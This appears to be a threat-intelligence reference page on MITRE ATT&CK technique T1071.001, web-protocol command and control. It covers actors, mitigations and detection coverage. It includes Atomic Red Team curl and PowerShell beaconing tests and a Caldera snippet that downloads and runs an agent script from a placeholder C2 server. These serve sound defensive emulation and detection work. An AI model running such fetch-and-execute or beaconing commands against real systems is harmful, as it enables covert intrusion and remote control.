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ATT&CK Technique

Web Protocols

T1071.001 · command-and-control

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments.

HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

ESXiLinuxmacOSNetwork DevicesWindows
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Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
franceAnimal Farm
russia_aligned_false_flag_hacktivismAnonymous Sudan
unknown_likely_russia_alignedAnubis Ransomware
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
russiaAPT29
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Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsMalicious User Agents - Powershell
This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. Use an application such as Wireshark to record the session and observe user agent strings and responses. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat 
Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
command_promptwindowsMalicious User Agents - CMD
This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. Use an application such as Wireshark to record the session and observe user agent strings and responses. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat 
#{curl_path} -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "*<|>*" -m3 #{domain} >nul 2>&1
shlinux, macosMalicious User Agents - Nix
This test simulates an infected host beaconing to command and control. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat 
curl -s -A "HttpBrowser/1.0" -m3 #{domain}
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
curl -s -A "*<|>*" -m3 #{domain}
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Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1037Filter Network Traffic

Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration.

Ingress Traffic Filtering
  • Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.
  • Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.
Egress Traffic Filtering
  • Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.
  • Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.
Protocol-Based Filtering
  • Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.
  • Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.
Network Segmentation
  • Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.
  • Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.
Application Layer Filtering
  • Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.
  • Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 31
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Caldera Emulation

1
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
command-and-controldarwin, linuxRagdoll
server="#{app.contact.http}";
curl -s -X POST -H "file:ragdoll.py" -H "platform:darwin" $server/file/download > ragdoll.py;
pip install requests beautifulsoup4;
python ragdoll.py -W $server#{app.contact.html}
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Comply & Defend

NIST 800-53AC-04, CA-07, CM-02, CM-06, CM-07, SC-07, SC-10, SC-20, SC-21, SC-22, SC-23, SC-31, SC-37, SI-03, SI-04
D3FEND12 defensive techniques
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
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